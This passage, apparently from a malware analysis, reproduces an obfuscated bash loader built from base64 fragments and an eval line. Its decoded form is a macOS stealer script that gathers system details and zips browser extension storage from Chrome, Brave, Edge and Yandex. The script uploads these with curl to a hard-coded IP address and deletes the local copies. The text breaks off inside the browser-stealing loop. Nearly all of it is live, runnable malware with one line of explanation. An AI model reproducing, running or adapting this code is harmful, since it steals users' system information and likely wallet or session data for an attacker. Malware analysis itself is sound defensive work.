';haz='UWpa';SMz='WldG';JSz='SlZE';Eaz='VWta';wQz='bWxC';WIz='UnBP';VPz='VW1s';PSz='a05K';tQz='Vm5O';jFz='UTBw';Zz='UWdQ';fMz='bENW';nYz='VXhV';RLz='TXhR';VIz='U2JH';IIz='UTBG';mCz='SjVO';oCz='U0ZG';oJz='REJP';GRz='UnpW';KGz='U1ZW';ZTz='YlZs';HIz='VXRK';Nz='LWQg';OXz='clUx';vBz='UVdk';UMz='SGx2';TQz='TkhO';cVz='UjJ4';tz='eHFU';NQz='WTBO';kGz='YjJJ';Lbz='cHpT';fQz='SnFa';RMz='VW5k';qBz='V2RK';RZz='akJu';gLz='T1hs';Kbz='a1dF';RSz='YWFV';MRz='WlpW';Sz='Q0F0';wYz='WTNs';KRz='a001';dHz='V3RM';UIz='VERK';RPz='ZG1K';BBz='TlJF';GWz='SU5I';YVz='ZEpS';cRz='RllR';Rz='Rnph';KCz='TkNl';QWz='WjJG';iz='R015';oXz='WjI5';PTz='MGxy';oWz='R1Z0';hSz='MFky';xGz='dFFh';Oaz='bHBY';CZz='dlow';FSz='WW0x';pPz='cFEy';TJz='bldq';ACz='ZVU1';oRz='Ykhk';LXz='a3lS';fLz='Mk5I';pBz='c2RW';jHz='VWg0';Waz='ZE9h';EIz='WW5r';AKz='aGth';oSz='NVVH';XIz='WFZr';yMz='MEky';wDz='c2Rt';fFz='U1VO';mYz='VlVs';TVz='WFpp';sQz='bUp1';baz='VFZK';eXz='WGVE';yEz='NVFY';qRz='VU5K';PYz='RzFO';lMz='ZGtO';nWz='aE9j';Iz='aCAt';aUz='NWFX';CVz='VmlS';EDz='akJh';obz='UVc5';aDz='UWFq';iFz='SFpK';ROz='UVd0';LZz='ZURC';iUz='ZHZa';lEz='WjBs';bOz='SE5X';Cbz='WkZk';CMz='U21o';uLz='Qlow';ILz='Rm5T';kUz='bDBZ';Acz='d2VF';uBz='VnBZ';tJz='U1d0';nTz='VkJU';BJz='NWFG';ZWz='VkhO';hIz='dFdS';NFz='eGFR';JFz='RWxI';oVz='TkNk';dCz='S1Js';eEz='MVl6';NIz='TVdF';GTz='MXNj';eYz='RkxT';ZEz='VmtV';UFz='RlUx';nNz='WVVX';kIz='c1Uw';IJz='ZGpi';IFz='aDRP';gaz='RkRT';CPz='WGxR';HLz='T0V0';dLz='blZU';mEz='RFFX';SSz='RnJa';OBz='TnJa';YDz='MGxE';vCz='V3M1';SKz='YVIy';Ccz='a2xM';CBz='RjNT';MBz='YlZw';TTz='VEZq';kOz='TkRR';IHz='T0hW';WPz='QmFX';az='RHc4';JOz='MkpI';BHz='Q1JW';xz='TTBN';UHz='ZEdj';VHz='MkZY';ZUz='cFFt';kXz='R3hK';Dcz='WmxG';RJz='a3pV';MHz='RFFt';WKz='WFJu';tZz='bnBa';nIz='TVRs';FKz='RzFW';LFz='YUdG';QUz='WTNW';uSz='R0l6';BMz='Rmx1';XMz='WlpN';pWz='VlRs';PGz='TnNl';wOz='dGFX';cMz='blZq';bTz='M1Ey';oOz='aHdj';OEz='c1dU';SEz='WlYy';cZz='RnJW';BGz='Mko1';MDz='VU14';sOz='VnBT';ITz='TVVG';BLz='TnVU';OUz='dzVj';wJz='bXhW';hLz='a1Ey';ZXz='Vm1o';QGz='bGd5';sXz='aVIx';BVz='elpI';sZz='bEhW';JQz='Umxw';APz='V2My';ZOz='VWh3';lcz='JEAi';sVz='RjBZ';jbz='Vk1W';mZz='aE5a';NOz='U0Vw';cDz='a1V4';pYz='T1Ux';VQz='VjFW';YJz='NXNZ';EOz='ZGli';ySz='YTFw';TXz='M1Mx';Lz='YXNl';YKz='MVkw';jQz='cEpR';WEz='VFNX';PWz='a2RW';VFz='Wkpk';HYz='bDNT';pXz='V3BK';aVz='Q2Qx';vKz='cFVq';dOz='MVU1';yaz='eVVt';DYz='R1ZX';Sbz='bERP';mDz='MFpF';uVz='RlZr';NVz='YTFa';lJz='T1ha';GHz='SnNk';pLz='Tkpa';mOz='YVVG';Wcz='bDFZ';kDz='blpN';jIz='VWtW';eSz='R05E';pOz='R05I';Dz='ase6';hBz='aWJW';Ycz='T1VO';rXz='MHBI';xOz='Rmwy';PXz='VTFS';pz='QmpS';iTz='Qloy';QTz='VTBV';mBz='bGFX';lYz='UTFK';bSz='VEJo';WBz='bFRW';PJz='V201';YRz='ZERh';lKz='bk9V';Cz='"$(b';pMz='MHBG';RCz='SWQy';LWz='TnBR';nRz='MlZ0';FRz='SEJq';tGz='cDJZ';dGz='YkUx';LIz='V050';QKz='V1JE';eZz='VGxW';EYz='azVS';OYz='MXFO';XSz='MHRK';MXz='bnBh';NSz='aVJ6';YCz='UjFa';yGz='VkpW';cSz='NVRH';Tcz='bFo1';EKz='cG9a';gZz='QlVS';IZz='d1pX';DBz='V2R3';vMz='UkVG';GVz='dFJi';dWz='VnRi';WUz='a1Z6';VYz='WGVV';xUz='MXBT';eDz='RmJG';nCz='VEJs';BSz='bXBG';OGz='Mll6';YGz='MEpz';SUz='UjFK';bBz='bnBq';JHz='a1NH';RTz='NVZG';lHz='cGhS';dz='bDVS';ePz='Vm9Z';vQz='RjBV';AXz='ekpz';hCz='cE9Y';fbz='M1Zs';sbz='cGlS';cXz='VzFW';ybz='UjFR';dbz='Q2FH';lFz='Tk9N';Paz='SlIw';YIz='VjNo';qSz='Q2Ft';QMz='a3g1';iBz='cHdX';bPz='VXBJ';kRz='ZDFa';YNz='MVpG';ZRz='UlJj';Obz='UmlN';sYz='ZGxr';Qbz='WTBo';sHz='cFNV';lWz='UnpG';QRz='ZEdO';KHz='Z3dR';oHz='V2VX';uEz='ak0y';Pbz='MVl3';AIz='ZW1W';WGz='cFFX';laz='WjBw';ZVz='MXAy';BDz='V25s';vUz='V0pY';wTz='c1Ey';Baz='c1pF';uXz='YldG';Kz='JChi';bJz='dEpR';QLz='NlNV';cKz='bXhs';GSz='R2RG';PKz='STVi';gIz='VlFX';yCz='aGtS';icz='bz0i';MNz='blpX';gRz='TktX';dIz='WkhZ';aFz='bTA0';qKz='VWxJ';IBz='WW1s';TZz='eGla';aGz='b2Rr';lTz='UFVr';cCz='TkN0';nDz='RnZa';WRz='SlhW';VDz='YlRs';taz='M1dW';FJz='ZUd4';AHz='VkZa';Qcz='bGhT';rMz='U1JW';ISz='YVZK';RIz='WVVu';DOz='dGJI';JGz='VUds';VWz='M2xC';hOz='TkpT';NDz='YUVs';gTz='WlYw';IUz='MFl3';DHz='WFpq';GIz='VklV';VLz='eHBZ';SOz='eDNZ';uZz='VjAx';HTz='MXBV';jGz='a05v';eFz='VUZu';gCz='U2xW';HDz='bEJh';pSz='bFpl';uOz='WjFC';KJz='VEZo';fEz='RTVj';wKz='ZFpi';XWz='c2Mx';HNz='bUpY';Az='bash';JZz='MVZa';qJz='dE9Y';sMz='WlpT';wFz='V2Rt';dBz='blNr';cGz='a1ZV';WNz='bXhr';hYz='cGpR';PIz='Rk14';XEz='ZFFh';pTz='VFZU';pCz='TFNV';BXz='Tmxw';rOz='aVYx';VTz='ZFJh';Jz='YyAi';Hz='YmFz';OOz='MFNV';TWz='aFYx';Qz='Cllt';uUz='Sk9N';MQz='bkJ3';lbz='YzJJ';dPz='alJ6';Iaz='VDFK';xTz='WGxK';SBz='Rm5X';PMz='NVJi';oTz='VWpk';ibz='YUZC';NJz='QkRi';Wz='WE5s';UTz='MldW';TEz='eHpX';IOz='VlRE';WVz='WlpV';SQz='U2to';KQz='SFpH';tDz='ZGti';xEz='ZVdO';tEz='VVc5';QFz='Qksx';xRz='ZUhO';GFz='Vnps';Pcz='SnVX';JMz='a1l3';

eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$z$Hz$Iz$Jz$Kz$Lz$Mz$Nz$Oz$Pz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Xz$Yz$Zz$az$bz$cz$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$qz$rz$sz$tz$uz$vz$wz$xz$yz$ABz$BBz$CBz$DBz$EBz$FBz$GBz$HBz$IBz$JBz$KBz$LBz$MBz$NBz$OBz$PBz$QBz$RBz$SBz$TBz$UBz$VBz$WBz$XBz$YBz$ZBz$aBz$bBz$cBz$dBz$eBz$fBz$gBz$hBz$iBz$jBz$kBz$lBz$mBz$nBz$oBz$pBz$KBz$qBz$rBz$sBz$tBz$uBz$vBz$wBz$xBz$yBz$ACz$BCz$CCz$DCz$ECz$FCz$GCz$HCz$ICz$JCz$KCz$LCz$MCz$NCz$OCz$PCz$QCz$RCz$SCz$TCz$UCz$VCz$WCz$XCz$YCz$ZCz$aCz$bCz$cCz$dCz$eCz$fCz$gCz$hCz$iCz$jCz$kCz$lCz$mCz$nCz$oCz$pCz$qCz$rCz$sCz$tCz$uCz$vCz$wCz$xCz$yCz$ADz$BDz$CDz$DDz$EDz$FDz$GDz$HDz$IDz$JDz$KDz$LDz$MDz$NDz$ODz$PDz$QDz$RDz$SDz$TDz$UDz$VDz$WDz$XDz$YDz$ZDz$aDz$bDz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$jDz$kDz$lDz$mDz$nDz$YDz$vBz$oDz$pDz$qDz$rDz$sDz$tDz$uDz$vDz$wDz$xDz$yDz$AEz$BEz$CEz$DEz$EEz$FEz$GEz$HEz$IEz$JEz$KEz$uDz$vDz$wDz$LEz$MEz$NEz$OEz$PEz$QEz$REz$SEz$TEz$UEz$VEz$WEz$XEz$YEz$ZEz$aEz$bEz$cEz$dEz$eEz$fEz$gEz$hEz$iEz$jEz$kEz$lEz$mEz$SCz$TCz$UCz$nEz$oEz$pEz$qEz$rEz$sEz$QEz$tEz$uEz$vEz$wEz$xEz$yEz$AFz$BFz$CFz$DFz$EFz$FFz$GFz$HFz$IFz$JFz$sCz$tCz$uCz$KFz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$SFz$TFz$UFz$VFz$WFz$XFz$YFz$ZFz$aFz$bFz$cFz$dFz$eFz$fFz$gFz$hFz$iFz$jFz$kFz$lFz$gEz$mFz$nFz$oFz$pFz$qFz$rFz$GBz$sFz$tFz$uFz$vFz$wFz$xFz$yFz$AGz$BGz$CGz$DGz$EGz$FGz$VEz$GGz$HGz$IGz$JGz$KGz$LGz$MGz$NGz$OGz$PGz$QGz$RGz$SGz$TGz$UGz$VGz$WGz$XGz$YGz$ZGz$aGz$bGz$cGz$dGz$eGz$fGz$gGz$RGz$hGz$iGz$jGz$kGz$lGz$mGz$nGz$oGz$pGz$qGz$MEz$NEz$OEz$PEz$QEz$rGz$sGz$tGz$uGz$vGz$wGz$xGz$yGz$AHz$BHz$CHz$DHz$EHz$FHz$GHz$HHz$IHz$JHz$KHz$LHz$lEz$MHz$NHz$OHz$fFz$PHz$QHz$RHz$SHz$THz$UHz$VHz$WHz$XHz$SBz$YHz$ZHz$aHz$bHz$sFz$tFz$uFz$cHz$dHz$eHz$OGz$fHz$gHz$hHz$FEz$iHz$jHz$kBz$kHz$lHz$mHz$nHz$oHz$pHz$qHz$rHz$sHz$tHz$uHz$vHz$wHz$xHz$yHz$AIz$BIz$CIz$DIz$EIz$FIz$GIz$HIz$IIz$JIz$KIz$LIz$MIz$NIz$OIz$PIz$QIz$RIz$SIz$TIz$UIz$VIz$WIz$XIz$YIz$ZIz$aIz$YDz$bIz$cIz$dIz$eIz$fIz$gIz$hIz$iIz$jIz$kIz$lIz$mIz$nIz$oIz$pIz$qIz$rIz$sIz$tIz$uIz$vIz$wIz$xIz$yIz$AJz$BJz$CJz$HIz$IIz$JIz$DJz$EJz$FJz$KDz$GJz$HJz$lEz$mEz$IJz$JJz$KJz$LJz$MJz$SFz$TFz$UFz$VFz$WFz$XFz$YFz$ZFz$aFz$bFz$cFz$NJz$OJz$PJz$QJz$RJz$XCz$SJz$TJz$UJz$VJz$WJz$XJz$YJz$ZJz$vGz$aJz$bJz$cJz$dJz$eJz$fJz$gJz$hJz$iJz$jJz$kJz$lJz$mJz$nJz$oJz$pJz$qJz$rJz$sJz$tJz$uJz$vJz$wJz$xJz$yJz$AKz$BKz$CKz$DKz$EKz$FKz$GKz$HKz$IKz$JKz$KKz$LKz$MKz$NKz$OKz$OGz$PKz$QKz$RKz$SKz$TKz$UKz$VKz$WKz$XKz$YKz$ZKz$aKz$bKz$cKz$dKz$eKz$fKz$DEz$PFz$RBz$gKz$hKz$lEz$mEz$iKz$jKz$kKz$lKz$mKz$nKz$IIz$oKz$pKz$qKz$rKz$sKz$tKz$uKz$lEz$vKz$wKz$xKz$yKz$ALz$BLz$CLz$DLz$ELz$FLz$GLz$HLz$RBz$ILz$JLz$lEz$KLz$LLz$MLz$NLz$OLz$bGz$dHz$PLz$QLz$RLz$SLz$TLz$ULz$VLz$WLz$XLz$YLz$ZLz$aLz$CFz$bLz$cLz$XCz$SJz$dLz$eLz$fLz$gLz$hLz$iLz$jLz$kLz$lLz$mLz$nLz$UIz$VIz$WIz$XIz$YIz$oLz$pLz$qLz$rLz$sKz$sLz$tLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$wLz$xLz$yLz$AMz$BMz$CMz$DMz$EMz$FMz$GMz$HMz$IMz$JMz$kCz$KMz$LMz$MMz$NMz$OMz$PMz$QMz$RMz$SMz$TMz$UMz$VMz$WMz$XMz$YMz$ZMz$aMz$bMz$cMz$dMz$eMz$fMz$gMz$hMz$iMz$jMz$kMz$lMz$WGz$XGz$cJz$fFz$uLz$vLz$qBz$mMz$nMz$oMz$pMz$qMz$rMz$sMz$tMz$uMz$WGz$XGz$cJz$fFz$uLz$vLz$qBz$vMz$wMz$xMz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$yMz$ANz$BNz$CNz$DNz$ENz$FNz$GNz$HNz$INz$JNz$KNz$LNz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$MNz$NNz$YDz$ONz$RBz$PNz$QNz$RNz$SNz$rJz$sJz$TNz$UNz$VNz$WNz$XNz$YNz$ZNz$aNz$bNz$cNz$dNz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$eNz$fNz$gNz$hNz$iNz$jNz$kNz$lNz$mNz$nNz$oNz$pNz$qNz$rNz$QHz$sNz$tNz$uNz$vNz$wNz$xNz$yNz$AOz$BOz$COz$DOz$EOz$nGz$oGz$LKz$FOz$GOz$HOz$IOz$eLz$JOz$KOz$LOz$MOz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$NOz$OOz$POz$QOz$ROz$JNz$SOz$TOz$UOz$VOz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$qCz$WOz$XOz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$ECz$YOz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$RBz$ILz$ZOz$aOz$bOz$cOz$dOz$oBz$uJz$vJz$eOz$fOz$gOz$hOz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$iOz$jOz$kOz$lOz$mOz$nOz$oOz$pOz$qOz$rOz$sOz$tOz$uOz$vOz$wOz$xOz$yOz$APz$BPz$CPz$DPz$EPz$xMz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$FPz$GPz$HPz$IPz$JPz$KPz$LPz$MPz$NPz$OPz$FEz$PPz$QPz$RPz$SPz$TPz$UPz$VPz$WPz$XPz$YPz$fz$ZPz$aPz$bPz$cPz$dPz$ePz$fPz$gPz$hPz$iPz$jPz$kPz$lPz$mPz$nPz$oPz$pPz$xMz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$qPz$rPz$sPz$tPz$uPz$vPz$gOz$wPz$xPz$yPz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$AQz$BQz$mOz$JIz$qCz$YDz$vBz$RBz$ILz$CQz$DQz$WGz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$EQz$FQz$GQz$KDz$HQz$IQz$JQz$KQz$LQz$MQz$NQz$OQz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$RBz$ILz$ZOz$aOz$PQz$QQz$RQz$SQz$jOz$TQz$UQz$VQz$sHz$WQz$XQz$YQz$nz$ZQz$aQz$bQz$PQz$cQz$dQz$eQz$uLz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$RBz$fQz$gQz$hQz$iQz$jQz$kQz$lQz$mQz$nQz$oQz$pQz$qQz$rQz$sQz$tQz$uQz$vQz$wQz$xQz$yQz$ARz$BRz$CRz$DRz$ERz$FRz$GRz$HRz$IRz$JRz$tJz$kz$lz$KRz$LRz$HMz$MRz$NRz$eQz$uLz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$RBz$ORz$PRz$QRz$RRz$SRz$TRz$URz$VRz$WRz$HIz$IIz$JIz$qCz$YDz$vBz$RBz$ILz$JLz$lEz$XRz$YRz$eFz$fFz$uLz$vLz$qBz$IIz$JIz$ZRz$aRz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$bRz$cRz$dRz$eRz$fRz$gRz$hRz$iRz$jRz$kRz$QNz$lRz$mRz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$qCz$nRz$oRz$FEz$pRz$qRz$COz$DOz$EOz$nGz$oGz$LKz$rRz$sRz$tRz$uRz$vRz$wRz$xRz$yRz$ASz$BSz$CSz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$KIz$LIz$MIz$NIz$OIz$PIz$QIz$RIz$SIz$TIz$UIz$VIz$WIz$XIz$YIz$ZIz$aIz$YDz$bIz$cIz$dIz$eIz$fIz$gIz$DSz$ESz$FSz$GSz$HSz$qBz$ISz$JSz$KSz$LSz$MSz$NSz$OSz$PSz$CSz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$GNz$QSz$ONz$RSz$SSz$QNz$RNz$SNz$rJz$TSz$fFz$uLz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$USz$VSz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$WSz$XSz$IIz$JIz$qCz$YDz$vBz$RBz$ILz$JLz$lEz$YSz$pz$sFz$tFz$ZSz$aSz$bSz$YCz$cSz$dSz$eSz$fSz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$gSz$FRz$IIz$hSz$HDz$bPz$cPz$dPz$ePz$fPz$gPz$iSz$XEz$jSz$kSz$lSz$mSz$nSz$IIz$oSz$pSz$aRz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$qSz$rSz$sSz$tNz$QLz$tSz$uSz$OPz$vSz$wSz$xSz$ySz$ATz$BTz$CTz$DTz$pGz$LEz$ETz$eHz$FTz$GTz$HTz$ITz$JTz$KTz$LTz$MTz$NTz$OTz$PTz$QTz$RTz$STz$TTz$PLz$UTz$VTz$WTz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$XTz$YTz$lOz$ZTz$dBz$oOz$pOz$qOz$rOz$dNz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$aTz$bTz$xMz$YDz$vBz$RBz$ILz$JLz$lEz$cTz$dTz$eTz$eQz$uLz$vLz$qBz$IIz$JIz$qCz$rCz$fTz$gTz$hTz$JLz$lEz$mEz$XGz$cJz$fFz$iTz$jTz$oQz$kTz$lTz$mTz$nTz$oTz$pTz$qTz$rTz$sTz$tTz$bJz$cJz$fFz$uLz$vLz$uTz$vTz$wTz$xMz$YDz$vBz$RBz$ILz$JLz$lEz$kHz$lHz$mHz$tJz$oHz$pHz$xTz$PLz$yTz$AUz$BUz$CUz$DUz$EUz$FUz$GUz$WGz$HUz$IUz$JUz$KUz$LUz$MUz$NUz$OMz$OUz$PUz$QUz$JHz$KHz$LHz$lEz$mEz$XGz$cJz$RUz$YOz$vLz$qBz$SUz$eMz$TUz$UUz$VUz$WUz$XUz$YUz$RPz$ZUz$aUz$bUz$cUz$dUz$eUz$fUz$gUz$hUz$iUz$YDz$vBz$jUz$kUz$lUz$mUz$nUz$oUz$pUz$vDz$qUz$rUz$sUz$jFz$tUz$uUz$vUz$JDz$wUz$xUz$yUz$AVz$BVz$CVz$DVz$EVz$FVz$GVz$nKz$IIz$HVz$IVz$JVz$UKz$KVz$LVz$MVz$NVz$OVz$PVz$QVz$UIz$RVz$SVz$TVz$UVz$pCz$qCz$VVz$qMz$rMz$WVz$XVz$CSz$mEz$YVz$ZVz$KKz$aVz$cLz$bVz$cVz$HFz$dVz$eVz$gBz$fVz$gVz$hVz$iVz$jVz$kVz$lVz$mVz$nVz$vLz$qBz$IIz$JIz$oVz$pVz$qVz$rVz$sVz$tVz$NVz$uVz$vVz$wVz$xVz$yVz$AWz$BWz$CWz$DWz$nDz$YDz$vBz$RBz$ILz$EWz$FWz$GWz$HWz$IWz$JWz$KWz$LWz$qBz$IIz$JIz$qCz$MWz$gLz$NWz$OWz$PWz$QWz$RWz$SWz$lVz$mVz$nVz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$TWz$UWz$VWz$NDz$WWz$bJz$PTz$RUz$XWz$HSz$YWz$ZWz$aWz$bWz$cWz$QBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$iTz$dWz$eWz$fWz$gWz$hWz$iWz$jWz$kWz$MOz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$lWz$mWz$nWz$oWz$pWz$qWz$rWz$sWz$tWz$uWz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$qCz$vWz$wWz$xWz$yWz$AXz$BXz$CXz$DXz$EXz$NLz$FXz$GXz$HXz$IXz$rEz$IRz$JXz$QBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$KXz$LXz$MXz$NXz$OXz$PXz$QXz$RXz$iMz$SXz$LHz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$TXz$nDz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$UXz$VXz$WXz$dBz$XXz$YXz$ZXz$aXz$bXz$cXz$dXz$eXz$fXz$gXz$hXz$iXz$jXz$kXz$lXz$mXz$xMz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$iTz$XPz$nXz$oXz$JIz$qCz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$pXz$YCz$FNz$qXz$rXz$WHz$sXz$dNz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$tXz$ILz$uIz$uXz$MFz$vXz$wXz$xXz$yXz$AYz$BYz$CYz$DYz$EYz$uBz$FYz$GYz$HYz$IYz$JYz$KYz$LYz$MYz$CFz$NYz$OYz$PYz$tEz$JIz$qCz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$dJz$QYz$LWz$qBz$IIz$JIz$qCz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$RYz$SYz$fFz$uLz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$yRz$TYz$LHz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$qCz$VHz$UYz$VYz$WYz$XYz$YYz$WKz$ZYz$aYz$oGz$sPz$bYz$uPz$lWz$mWz$nWz$oWz$cYz$dYz$eYz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$fYz$wNz$JDz$gYz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$qCz$YDz$iNz$oDz$pDz$qDz$ySz$DOz$FVz$TSz$fFz$uLz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$RBz$ILz$JLz$lEz$MHz$hYz$iYz$jYz$kYz$jTz$sUz$lYz$mYz$nYz$oYz$pYz$rMz$qYz$rYz$sYz$tYz$uYz$vYz$wYz$UNz$VNz$WNz$XNz$YNz$ZNz$aNz$bNz$cNz$dNz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$xYz$yYz$QBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$aTz$bTz$xMz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$AZz$BZz$CZz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$RBz$ILz$JLz$lEz$DZz$EZz$lVz$jYz$FZz$GZz$HZz$vTz$IZz$JZz$KZz$LZz$NCz$MZz$NZz$OZz$PZz$QZz$RZz$eQz$uLz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$RBz$ILz$JLz$SZz$yQz$TZz$UZz$fFz$uLz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$VZz$QDz$RDz$SDz$WZz$XCz$XZz$pCz$qCz$YDz$vBz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$pEz$YZz$ZZz$aZz$LCz$FJz$bZz$cZz$dZz$eZz$fZz$gZz$hZz$iZz$ZLz$fJz$jZz$kZz$lZz$mZz$XQz$YQz$nz$ZQz$aQz$bQz$PQz$cQz$dQz$eQz$uLz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$RBz$ILz$JLz$nZz$oZz$bJz$cJz$fFz$uLz$vLz$qBz$IIz$JIz$qCz$YDz$vBz$RBz$pZz$qZz$lEz$mEz$XGz$cJz$fFz$uLz$vLz$qBz$IIz$rZz$PNz$WOz$XOz$RBz$ILz$JLz$lEz$mEz$XGz$cJz$fFz$uLz$sZz$tZz$uZz$pCz$qCz$YDz$vBz$RBz$ILz$JLz$nZz$oZz$bJz$cJz$fFz$uLz$vLz$vZz$wZz$wTz$xMz$YDz$vBz$RBz$ILz$xZz$yZz$tYz$Aaz$TSz$fFz$uLz$vLz$qBz$PLz$Baz$Caz$Daz$Eaz$Faz$Gaz$Haz$Iaz$Jaz$Kaz$Laz$eQz$uLz$vLz$qBz$IIz$Maz$Naz$Oaz$iRz$Paz$Qaz$Raz$Saz$kHz$Taz$Uaz$Vaz$CZz$vLz$qBz$IIz$JIz$Waz$YDz$Xaz$Yaz$Zaz$aaz$baz$Jaz$caz$daz$eaz$faz$gaz$HIz$IIz$JIz$qCz$YDz$haz$iaz$jaz$kaz$laz$maz$naz$oaz$paz$qaz$raz$saz$ISz$taz$uaz$vaz$cPz$waz$tIz$LHz$xaz$yaz$Abz$Bbz$Cbz$Dbz$Ebz$Fbz$vz$pCz$qCz$YDz$vBz$RBz$Gbz$Hbz$NVz$uVz$vVz$wVz$xVz$yVz$AWz$Ibz$IIz$JIz$qCz$YDz$Jbz$Kbz$Lbz$MDz$Mbz$Nbz$Obz$Pbz$Qbz$Rbz$Sbz$Tbz$Ubz$eMz$Vbz$Wbz$Xbz$Ybz$Zbz$FUz$abz$DOz$bbz$cbz$SQz$dbz$ebz$fbz$fz$gbz$HDz$hbz$ibz$jbz$kNz$kbz$lbz$mbz$nbz$UZz$fFz$uLz$vLz$qBz$obz$JIz$qCz$GLz$pbz$qbz$iGz$JLz$lEz$rbz$sbz$tbz$yOz$ubz$LWz$qBz$NEz$vbz$wbz$BKz$UYz$dCz$LVz$xbz$ybz$Acz$Bcz$Ccz$Dcz$Ecz$Fcz$Gcz$cVz$eMz$Hcz$gGz$RGz$Icz$Jcz$Kcz$lEz$mEz$XGz$cJz$dJz$Lcz$Mcz$Ncz$Ocz$pCz$qCz$YDz$vBz$RBz$Pcz$Qcz$Rcz$Scz$ZYz$Tcz$eQz$uLz$vLz$qBz$IIz$TJz$UJz$Ucz$Vcz$fVz$Wcz$Xcz$Ycz$Zcz$acz$bcz$ccz$dcz$ecz$fcz$gcz$hcz$icz$jcz$Hz$kcz$lcz$mcz$ncz$Az$ocz$pcz"

Executing a decoding process similar to the previous one, we will see the following script code:

#!/bin/bash
HOST="http://65.38.121.75:3000"
function getInfo() {
    echo "IP address: $(ifconfig | grep "inet " | grep -Fv 127.0.0.1 | awk '{print $2}' || echo 'failed')" >>$TMPDIR/sys_info.txt
    echo "Operating system : $(uname -a || echo 'error'), " >>$TMPDIR/sys_info.txt
    echo "OS version: $(sw_vers -productVersion || echo 'failed')" >>$TMPDIR/sys_info.txt
    echo "OS build: $(sw_vers -buildVersion || echo 'failed')" >>$TMPDIR/sys_info.txt
    echo "Hostname : $(hostname -s || echo 'error'), " >>$TMPDIR/sys_info.txt
    echo "DNS domain : $(hostname -d || echo 'error')" >>$TMPDIR/sys_info.txt
    echo "Fully qualified domain name : $(hostname -f || echo 'error')" >>$TMPDIR/sys_info.txt
    curl -s --output /dev/null -F "theFile=@$TMPDIR/sys_info.txt" "$HOST/upload"
    # cleanup
    rm -rf $TMPDIR/sys_info.txt
}
function getBrowser() {
    browsers=("Google/Chrome" "BraveSoftware/Brave-Browser" "Microsoft/Edge" "Yandex/YandexBrowser" "")
    INDEX=0
    for path in "${browsers[@]}"; do
        if [ -n "$(ls -A ~/Library/'Application Support'/$path/ 2>/dev/null)" ]; then
            cd ~/Library/'Application Support'/$path/*/'Local Extension Settings'/
            case $INDEX in
            0)
                zipname="chrome.zip"
                zip -r "$zipname" * >/dev/null 2>&1
                curl -s --output /dev/null -F "theFile=@$zipname" "$HOST/upload"
                rm -rf $zipname
                ;;
            1)
                zipname="brave.zip"
                zip -r "$zipname" * >/dev/null 2>&1
                curl -s --output /dev/null -F "theFile=@$zipname" "$HOST/upload"
                rm -rf $zipname
                ;;
            3)
                zipname="Edge.zip"
                zip -r "$zipname" * >/dev/null 2>&1
                curl -s --output /dev/null -F "theFile=@$zipname" "$HOST/upload"
                rm -rf $zipname
                ;;
            4)
                zipname="Yandex.zip"
                zip -r "$zipname" * >/dev/null 2>&1
                curl -s --output /dev/null -F "theFile=@$zipname" "$HOST/upload"
                rm -rf $zipname
                ;;
